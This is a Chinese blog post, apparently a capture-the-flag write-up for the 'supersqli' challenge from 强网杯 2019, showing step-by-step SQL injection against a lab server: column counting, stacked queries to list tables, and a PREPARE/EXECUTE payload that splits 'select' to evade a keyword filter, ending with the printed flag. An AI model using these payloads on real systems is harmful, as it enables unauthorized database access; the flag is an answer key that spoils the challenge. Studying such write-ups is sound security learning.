

攻防世界 supersqli 解题思路

原创

[「已注销」](#) 于 2020-07-14 17:40:48 发布 1318 收藏 2

分类专栏: [攻防世界 web篇](#)

版权声明: 本文为博主原创文章, 遵循 [CC 4.0 BY-SA](#) 版权协议, 转载请附上原文出处链接和本声明。

本文链接: <https://blog.csdn.net/xj28555/article/details/107341362>

版权



[攻防世界 web篇](#) 专栏收录该内容

15 篇文章 6 订阅

订阅专栏

The screenshot shows a dark-themed article header for 'supersqli'. It includes a thumbs-up icon with the number '36', a badge for '最佳Writeup由洛杉矶湖人 · a', a difficulty coefficient of '3.0' with three stars, a source tag '强网杯 2019', and a description tag '随便注' which is highlighted with a red box. The URL 'https://blog.csdn.net/xj28555' is visible at the bottom right of the snippet.

随便注, 初步判断是有注入点的, 那我们进入题目

The screenshot shows a browser address bar with the URL '220.249.52.133:45556' and a warning icon. Below the address bar is a navigation bar with various icons for application, Gmail, YouTube, map, and other services.

取材于某次真实环境渗透, 只说一句话: 开发和安全缺一不可

姿势:

<https://blog.csdn.net/xj28555>

提交一个1试一试

取材于某次真实环境渗透，只说一句

姿势:

```
array(2) {  
  [0]=>  
    string(1) "1"  
  [1]=>  
    string(7) "hahahah"  
}
```

<https://blog.csdn.net/xj28555>

再在1的后面加个单引号试一试

取材于某次真实环境渗透，只说一句话：开发和安全缺一不可

姿势:

error 1064 : You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near ''1'' at line 1

<https://blog.csdn.net/xj28555>

报错了,然后我们判断有几个字段。

取材于某次真实环境渗透，只说一句话：

姿势:

```
array(2) {  
  [0]=>  
    string(1) "1"  
  [1]=>  
    string(7) "hahahah"  
}
```

<https://blog.csdn.net/xj28555>

回车后正常，但是换成3后就报错了，所以有两个字段。

取材于某次真实环境渗透，只说一句话：开发和

姿势:

error 1054 : Unknown column '3' in 'order clause'

<https://blog.csdn.net/xj28555>

当我想用联合查询查询用户和数据库的时候

取材于某次真实环境渗透，只说一句话：开

姿势:

```
array(2) {
  [0]=>
  string(1) "1"
  [1]=>
  string(7) "hahahah"
}
```

<https://blog.csdn.net/xj28555>

取材于某次真实环境渗透，只说一句话：开发和安

姿势:

```
return preg_match("/select|update|delete|drop|insert|where|\.\/i", $inject);
```

<https://blog.csdn.net/xj28555>

爆出一段正则表达式，发现过滤掉了图中的关键字。然后我寻找绕过点，发现了堆叠注入。

查询表

← → ↻ 220.249.52.133:45556/?inject=-1';show tables --+

应用 Gmail YouTube 地图 md5在线解密破解... TS 网站基础信息获取

取材于某次真实环境渗透，只说一句话：

姿势:

```
return preg_match("/select|update|delete|drop|insert|where|\.\/i",$inject);
```

<https://blog.csdn.net/xj28555>

← → ↻ 不安全 | 220.249.52.133:45556/?inject=-1%27;show%20tables%20--+

应用 Gmail YouTube 地图 md5在线解密破解... TS 网站基础信息获取... 蓝桥杯大赛——

取材于某次真实环境渗透，只说一句话：开发和安

姿势:

```
array(1) {  
  [0]=>  
    string(16) "1919810931114514"  
}
```

```
array(1) {  
  [0]=>  
    string(5) "words"  
}
```

<https://blog.csdn.net/xj28555>

查询字段

← → ↻ 220.249.52.133:45556/?inject=-1';show columns from `1919810931114514` --+

应用 Gmail YouTube 地图 md5在线解密破解... TS 网站基础信息获取... 蓝桥杯大赛——

取材于某次真实环境渗透，只说一句话：开发和

姿势:

```
array(1) {  
  [0]=>  
    string(16) "1919810931114514"  
}
```

```
array(1) {  
  [0]=>  
    string(5) "words"  
}
```

<https://blog.csdn.net/xj28555>

取材于某次真实环境渗透，只说一句话：开发和安全缺一不可

姿势:

```
array(6) {
  [0]=>
  string(4) "flag"
  [1]=>
  string(12) "varchar(100)"
  [2]=>
  string(2) "NO"
  [3]=>
  string(0) ""
  [4]=>
  NULL
  [5]=>
  string(0) ""
}
```

<https://blog.csdn.net/xj28555>

发现flag，然后我们想办法读取flag值。因为select被正则表达式给过滤掉了，所以这里我们就要想一点骚姿势了。刚开始我想了一堆的内联注释都被检测出来了。实在没忍住去看了大佬的wp，大佬用来预编译来绕过，在我的印象里预编译一直是用来防止sql注入的，没想到还能用来绕过，学到了！

直接上个payload

```
-1';sEt @sql = CONCAT('se','lect * from `1919810931114514`;');prEpare stmt from @sql;EXECUTE stmt;#
```

取材于某次真实环境渗透，只说一句话：开发和安全缺一不可

姿势:

<https://blog.csdn.net/xj28555>

取材于某次真实环境渗透，只说一句话：开发和安全缺一不可

姿势:

```
array(1) {
  [0]=>
  string(38) "flag {c168d583ed0d4d7196967b28cbd0b5e9}"
}
```

<https://blog.csdn.net/xj28555>

参考连接 <https://www.cnblogs.com/joker-vip/p/12483823.html>